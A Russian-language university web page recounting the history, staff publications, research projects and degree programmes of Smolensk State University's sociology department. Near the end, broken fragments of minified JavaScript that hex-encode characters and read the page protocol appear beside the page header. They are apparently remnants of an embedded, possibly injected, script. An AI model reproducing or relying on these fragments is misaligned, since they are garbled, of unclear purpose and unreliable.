Под руководством преподавателей кафедры студенты социологического отделения принимают участие в научно-практических конференциях: Международных научных конференций студентов, аспирантов и молодых ученых «Ломоносов 2004», «Ломоносов 2005», «Ломоносов 2006», «Ломоносов 2007», «Ломоносов 2008» в МГУ им. Михаила Васильевича Ломоносова; участие в ежегодной конференции молодых ученых Института культурологии РАН (Москва) «Науки о культуре: шаг в XXI век»; Международных научных конференциях в Санкт-Петербурге (2006 г.). В университете проведено уже 56 ежегодных студенческих научных конференций. По результатам этих научно-практических конференций, помимо университетского сборника статей, издано шесть сборников статей студентов, аспирантов и молодых преподавателей факультета управления «Путь в науку» (23 апреля 2005 г., 22 апреля 2006 г., 21 апреля 2007 г., 26

апреля 2008 г., 25 апреля 2009 г., 25 апреля 2010 г. и 23 апреля 2011 г.). Конкурс студенческих научных исследований в Магаданском государственном университете (2009 г.), победителями стали наши студенты, заняв 1-е, 2-е и 3-е места.

Научно-образовательный центр (НОЦ) "Социальные трансформации" СмолГУ сотрудниками которого являются профессорско-преподавательский состав кафедры социологии и философии социального факультета СмолГУ

**Александр Григорьевич ЕГОРОВ** - директор НОЦ "Социальные трансформации" Доктор философских наук, профессор, проректор по научной и инвестиционной работе Смоленского государственного университета, зав. кафедрой социологии и философии Смоленского государственного университета.

**Научная специализация:** Эпистемология и философия науки, социология и философия культуры (искусство, образование, спорт).

### Основные публикации:

1. Социокультурная трансформация знания (монография). - М., 1996. - 212 с.
2. Концепции естествознания: история и современность. Часть 1: Философия и методология науки (учебное пособие). - М., 1998. - 447 с. (в соавторстве с Кочергиным А.А., Кочергиным А.Н.)
3. Концепции естествознания: история и современность. Часть 2: Концепции физики, астрономии, химии (учебное пособие). - М., 1998. - 408 с. (в соавторстве с Кочергиным А.А., Кочергиным А.Н.)
4. Концепции естествознания: история и современность. Часть 3: Концепции биологии, наук о земле, кибернетики и синэнергетики (учебное пособие). - М., 1999. - 188 с. (в

соавторстве с Кочергиным А.А., Кочергиным А.Н.)

5. Очерки социально-политической трансформации (монография). - Смоленск, 1998. - 188 с. (в соавторстве с Кодиным Е.В., Лебедевым С.А., Мокшиным В.К.)

6. Многообразие олимпизма и динамика олимпийского образования // Теория и практика физической культуры. № 9, 2000. С. 25-42.

7. Философское значение современного олимпизма // Теория и практика физической культуры. - № 7, 2001. - С. 18-23.

8. Внеземные цивилизации. Всемирная энциклопедия. Философия: XX век. - М., 2002. - С. 114-118.

9. Дополнительный способ описания. Всемирная энциклопедия. Философия: XX век. - М., 2002. - С. 249-250.

10. Охлократизация. Всемирная энциклопедия. Философия: XX век. - М., 2002. - 552 с.

11. Олимпизм в эпоху постмодерна: принцип пролиферации концептуальных моделей. // Спорт для всех. - № 2, 2003. - С. 18-19.

12. Знание и масса: к особенностям современного коллективного субъекта. // Эпистемология. Философия науки. Т. II. - № 2, 2004. - С. 76-78.

13. Спорт и цивилизация. // Теория и практика физической культуры, 2004. - № 5. - С.58-63.

14. Образование в Смоленской области: опыт регионализации. - Смоленск, 2004. (в соавторстве с Довгий Т.П., Еврасовй В.В. и др.)

15. Особенности трансформации повседневного знания. Философия и будущее цивилизации: тезисы докладов и выступлений IV российского философского конгресса (Москва, 24-28 мая 2005 г.): В 5 т. - Т. 5. - М., 2005. - С. 436-437.

16. Вхождение в Болонский процесс периферийных вузов России (на примере Смоленских вузов). Потенциал российских вузов в реформе высшего образования. - М., 2005. - С. 157-175. (в соавторстве с Суховой Е.Е.)

17. Готовность к вхождению в Болонский процесс (региональный опыт) // Высшее образование в России. - № 10. - М., 2005. - С. 47-55. (в соавторстве с Суховой Е.Е.)

18. Социокультурный смысл спартианской ревизии основ современного спорта (от технократической к антропогенной и межкультурной версии олимпизма) // Спартианская библиотека. Вып. 1: Спартианское движение - детище России и международное достояние. - М., 2005. - С. 129-144.

19. Innerstädtischer Nutzungswandel Am Beispiel von Gotha (Thuringen) und Smolensk (Russland). Jahrbuch 2005 der Gesellschaft 14 S der Fennde der Fern Universitate. V. Hagen, 2005. - S. 119-132.

20. Фэйэр Плэй в современном спорте (учебное пособие с грифом федерального агентства по физической культуре и спорту). - Смоленск, 2006. - 188 с. (в соавторстве с Захаровым М.А.)

21. Логика. - Москва , 2009. - Учебное пособие. - 176 с. (в соавторстве с Грибер Ю.А.)

22. Олимпиада школьников Союзного государства в структуре приграничного сотрудничества. // Российско-белорусское приграничье: состояние и проблемы. Библиотека "Социальные трансформации" / отв. ред. А.Г.Егоров. - Смоленск: Изд-во СмолГУ, - 2010. - Вып. 20. - С. 44-52.

### **Научные проекты:**

При поддержке Минобрнауки, РГНФ

Темплан Рособразования "Исследование региональных особенностей трансформационных процессов в сфере духовной жизни", 2009.

Темплан Министерства образования и науки "Исследование социальных трансформаций в российской провинции в начале XXI в.", 2007-2008

РГНФ, 2003, проект № 03-03-00494 а/Ц, "Трансформация религиозного сознания и изменение социального статуса религиозных объединений в постсоветский период"

РГНФ, 2004, проект № 04-03-58201 г/Ц, "Социальные трансформации: образовательные и научные коммуникации в контексте Болонского процесса"

РГНФ, 2005, проект № 05-03-58302 а/Ц, "Механизмы взаимодействия научных и социокультурных традиций"

РГНФ, 2007, проект № 07-03-58301 а/Ц, "Феномен социальной мимикрии: многообразие видов и региональная специфика"

РГНФ, 2008, проект № 08-03-58381 г/Ц, "Высшая школа в развивающейся России:

история, традиции и современные проблемы"

РГНФ, 2009-2010, проект № 09-03-58304 а/Ц, "Механизмы взаимодействия инновационных процессов в различных сферах культуры" РГНФ, 2010, проект № 10-03-93625 к/К, "Почему и как изменяются наука и культура"

РГНФ, 2010-2011, проект № 10-03-00859а/Б2, "Белорусско-российское приграничье: методология анализа, истоки и структура проблем, формы и технологии их решения"

**Юлия Александровна ГРИБЕР** - руководитель научных программ НОЦ "Социальные трансформации" Доктор культурологических наук, кандидат философских наук, доцент, доцент кафедры социологии и философии Смоленского государственного университета

**Научная специализация:** Эпистемология искусства, социология архитектуры, колористика города, методология изучения цветового пространства города, методология цветового проектирования городского пространства.

### Основные публикации:

1. Хроматическое содержание искусства / под ред. Ю.А. Грибер. - Смоленск: Принт-Экспресс, 2007.
2. Эпистемология цвета в смоленской архитектуре и живописи. - Смоленск: Маджента, 2008.
3. Знаковые системы. - Смоленск: Изд-во СмолГУ, 2009.
4. Логика. - 2-е изд., перераб. и доп. - М.: Эксмо, 2009. (в соавторстве с Егоровым А.Г.)

5. Явление социальной мимикрии в архитектуре // Обсерватория культуры. - 2009. -№ 4. - С. 106-109.

6. Хроматические особенности средневековой архитектуры Смоленска // Известия Российского государственного педагогического университета им. А.И. Герцена. - 2009. - № 119. - С. 133-141.

7. Опыт применения метода экспертных оценок при изучении цветовой системы живописи // Культурологічний альманах: збірник наукових праць. - Вип. 3. - Київ.: ІМВ НАУ, 2009. - 262 с. - С.149-170.

8. Хроматическое содержание древней смоленской живописи // Культурологічний альманах: збірник наукових праць. - Вип. 4. - Київ.: ІМВ НАУ, 2009. - С. 140-147.

9. Introduction of new technology of fixing traditional colours of the architecture of Smolensk // Applied technologies and innovations. International peer-reviewed research journal: 55-61, Volume 2, 2010.

10. Анализ письменных и иконографических документов как метод изучения колористики в социологии архитектуры // Вестник Челябинского государственного университета. Философия. Социология. Культурология. - 2010. - Вып. 16. - С. 145-148.

### Научные проекты:

1. Грант Президента РФ, 2007-2008, "Эпистема цвета в смоленской живописи и архитектуре", проект № МК-4027.2007.6.

2. РГНФ, 2010, "Историко-культурный анализ цветовой среды российского города",

проект № 10-03-00882и/Мл.

3. DAAD, 2011-2012, "Колористическое проектирование городского пространства (опыт сравнения немецкой и российской культурных традиций)", проект № 15145.

**Елена Евгеньевна СУХОВА** – координатор научных программ НОЦ «Социальные трансформации». Кандидат социологических наук, доцент, начальник отдела по инновационной работе Смоленского государственного университета

**Научная специализация:** Социология образования, трансформация высшего образования, Болонский процесс.

### Основные публикации:

1. Готовность к вхождению в Болонский процесс (региональный опыт) // Высшее образование в России № 10, 2005. - С. 47 – 55. (в соавторстве с Егоровым А.Г.)

2. Innerstadischer Nutzungswandel. Am Beispiel von Gotha (Thuringen) und Smolensk (Russland) // Jahrbuch 2005 der Gesellschaft der Freunde der FernUniversität e.V. – Hagen, 2005. – S. 119-129. (в соавторстве с Егоровым А.Г. и Бертельсом Л.)

3. Болонский процесс и вузы Смоленска (в оценках научно-педагогической общественности города) // Университетский вестник. – 2006. - № 4 (11). – С. 14-29. (в соавторстве с Егоровым А.Г.)

4. Трансформация европейских систем высшего образования в контексте Болонского процесса (на материале Германии и России) // Тезисы докладов и выступлений на Всероссийском социологическом конгрессе «Глобализация и социальные изменения в современной России»: В 16 т. – М.: Альфа-М, 2006. – Т. 9. Социология образования. – С. 66-69. (в соавторстве с Егоровым А.Г.)

5. Особенности перехода на многоуровневую систему высшего образования в Федеративной Республике Германии // Известия Смоленского государственного университета. – 2008. - № 4. – С. 206-213.

6. Участие российских вузов в Болонском процессе: региональные особенности (Тезисы) // Сорокинские чтения. Отечественная социология: обретение будущего через прошлое: тезисы докладов IV Всероссийской научной конференции. – Рязань: Изд-во Рязанского государственного университета, 2008. С. 319-321.

7. Структурная трансформация высшего образования в Германии в контексте Болонского процесса // Вопросы образования. - № 3. – 2009. С. 94-113.

8. Международный научный коллоквиум «Высшая школа в развивающейся России: история, традиции и современные проблемы» // Известия Смоленского государственного университета. – 2009. - № 2 (6). – С. 329-333.

9. Качество приема в высшие учебные заведения: региональный аспект (тезисы) // Материалы VI Всероссийской научной конференции «Сорокинские чтения» «Стратегия инновационного развития России как особой цивилизации в XXI веке», 1-2 декабря 2010 г. – М.: МАКС пресс, 2010. – С. 516-519. (в соавторстве с Егоровым А.Г.)

10. Динамика немецкоязычного образовательного пространства // Социальные трансформации: материалы международного коллоквиума «Механизмы взаимодействия инновационных процессов в различных сферах культуры» / отв. Ред. А.Г.Егоров. – Смоленск: Изд-во СмолГУ, 2010. – Вып. 19. – С. 180-186.

**При кафедре (социологической лаборатории), периодически работает**

**студенческий научный кружок (СНК).** СНК - это добровольное объединение студентов социологов и студентов смежных специальностей социального факультета, целью создания и функционирования которого является более углубленное изучение и научное исследование в области социологии и специальных социологических дисциплин. СНК способствуют активной научной деятельности студентов и помогает выявить наиболее талантливых учащихся. Организацию работы кружка осуществляет научный руководитель из числа профессорско-преподавательского состава кафедры социологии. Содействие научному руководителю оказывает совета научного кружка.

**Основные цели работы:** 1) реализация научных и учебных интересов творчески мыслящих студентов. 2) непосредственное осуществление исследовательской работы по теме: «Управление вузом в условиях инновационной политики и модернизации высшего образования в России».

**Формы работы:** 1) внутри кружковые: заседания, доклады, обсуждения, «круглые столы», дискуссии, коллоквиумы по исследуемым индивидуальным проблемам и основной теме научного исследования кружка, углубленному освоению различных выборочных методов, методов сбора, анализа социологической эмпирической информации и совершенствованию умения и навыков социологического анализ. 2) внешне кружковые: ознакомление с деятельностью различных научно-исследовательских учреждений и научных коллективов; участие в олимпиадах, конкурсах и выставках научных студенческих работ, представление материалов научных исследований в виде докладов, тезисов и статей на научных форумах различного уровня; участие в кафедральных и межкафедральных, вузовских научных конференциях.

Указанные выше наши успехи за крайне короткий исторический путь кафедры мотивируют преподавателей на дальнейшую творческую, плодотворную работу. Вместе с тем существуют проблемы, над которыми работает кафедра: повышение эффективности практик; совершенствование научно-исследовательской работы студентов, аспирантов и преподавателей; внедрение в методику проведения занятий современных педагогических технологий, повышения качества занятий посредством расширения количества и качества учебно-методических пособий, справочной литературы, лекций для студентов заочной формы обучения, а так же совершенствование организации самостоятельной работы студентов; улучшение умений и навыков в компьютерных технологиях для обработки социологической информации; совершенствование совместной учебно-воспитательной работы с другими факультетами университета; планирование в дальнейшем использования технологии дистанционного обучения со студентами заочниками.

Модернизация высшего образования предполагает использование преподавателями

кафедры в учебном процессе со студентами мультимедийных форм преподавания социологических дисциплин. Предстоит решение технического обеспечения учебного процесса и создание электронной библиотеки кафедры.

В 2011 году получена лицензия на обучение в магистратуре по направлению 040200 «Социология», по программе «Социология образования», но вопрос о приеме студентов в магистратуру не производился.

### **ПОСЛЕДУЮЩИЕ ИСТОРИЧЕСКИЕ СОБЫТИЯ**

**С 2011 года начался переход на двух уровневое обучение (бакалавриат, магистратура). Кафедра провела набор первой группы студентов по направлению подготовки: 040100 «Социология». Профиль – социолог. Затем производился набор на направление подготовки: 39.03.01 Социология. Направленность: Прикладная социология.**

**С 2014 года начала работать Магистратура по направлению подготовки 39.04.01 Социология (уровень магистратуры). Профиль : "Социология в управлении социокультурными процессами". Кафедра провела набор первой группы студентов-магистров.**

**С 1 февраля 2012 года кафедра становится базовой кафедрой вновь созданного самого молодого СОЦИАЛЬНОГО ФАКУЛЬТЕТА СмолГУ (в последующем с 2017 года СОЦИОЛОГИЧЕСКОГО ФАКУЛЬТЕТА)**

**Все сотрудники кафедры стали членами Российского общества социологов (РОС) и создано Смоленское региональное отделение РОС в 2012 году.**

**1013-2014 учебный год кафедра в составе социального факультета начала свою работу в новом, современном учебном корпусе № 3, который был сдан в сентябре 2013 года.**

**Кафедра социологии находится на 4 этаже корпуса № 3 (каб. 412).**

**В 2015 году кафедра выпустила первый выпуск бакалавров по направлению подготовки № 39.03.01 Социология.**

**С 1 сентября 2015 года кафедра социологии переименована в кафедру социологии и философии социального факультета (в связи с включением ППС университетской кафедры философии в состав кафедры социологии).**

**В связи с оптимизацией количества кафедр на социологическом факультете с 1 сентября 2017 года кафедра социологии и философии переименована в кафедру социологии, философии и работы с молодежью социологического факультета**

**В 2015 году на базе кафедры начала работу «Лаборатория цвета» («ColorLab») СмолГУ.**

**Руководитель НОЦ "Лаборатории цвета Профессор ГРИБЕР Ю.А. - доктор культурологии, профессор кафедры социологии, философии и работы с молодежью, руководитель НОЦ «Лаборатория цвета» («ColorLab») СмолГУ; соруководитель рабочей группы «Цветовой дизайн среды» Международной ассоциации цвета (AIC, Association Internationale de la Couleur)**

**21 декабря 2017 г.** в Смоленском государственном университете состоялся международный научный коллоквиум «Социальные трансформации: цветное проектирование городского пространства». В 2015 году проект получил поддержку РГНФ на финансирование исследований в течение трех лет. Работа над проектом проходила в научно-образовательном центре Смоленского государственного университета «Лаборатория цвета» («ColorLab»). Цель проекта – систематизация комплекса документов, закрепляющих правила и нормы цветного проектирования городского пространства.

**ВНИМАНИЕ ВСЕХ ВЫПУСКНИКОВ ШКОЛ И ВУЗОВ !**

**ЕЖЕГОДНОЕ НАЛИЧИЕ БЮДЖЕТНЫХ МЕСТ**

Единственная возможность в г. Смоленске получить перспективное высшее социологическое образование

### **Бакалавриат:**

- **Социология** (обучение очное 4 года / заочное 5 лет):

Прикладная социология

Политтехнологии и маркетинг

Социологическое сопровождение в политике и экономике

### **Магистратура:**

#### **Социология :**

Социология в управлении социокультурными процессами (обучение очное 2 года / заочное 2,5 года)

Социологический анализ в экономике, политике и праве (обучение очное 2 года / заочное 2,5 года)

**Аспирантура:**

**- Философия, этика и религиоведение**

(Онтология и теория познания) (обучение очное 3 года / заочное 4 года)

Выпускники успешно работают не только по специальности, но и менеджерами во всех производственных сферах, специалистами по рекламе и маркетинговых исследований, связям с общественностью и кадровой работе, в аналитических отделах и аппарате государственной гражданской службы, консалтинговых фирмах и силовых структурах. С

**Наш адрес: 214000, г. Смоленск, ул. Пржевальского, д. 4. Учебный корпус № 3**

**4 этаж - деканат СОЦИАЛЬНОГО ФАКУЛЬТЕТА СмолГУ (кабинет 413)**

**Кафедра социологии (кабинет 412)**

**Это хороший шанс быть конкурентным на современном рынке труда!**

```
// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var  
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
```

```
// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var
```

## История кафедры социологии СмолГУ

Добавил(а) Социология

21.12.10 05:42 - Последнее обновление 02.04.23 00:25

---

```
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
```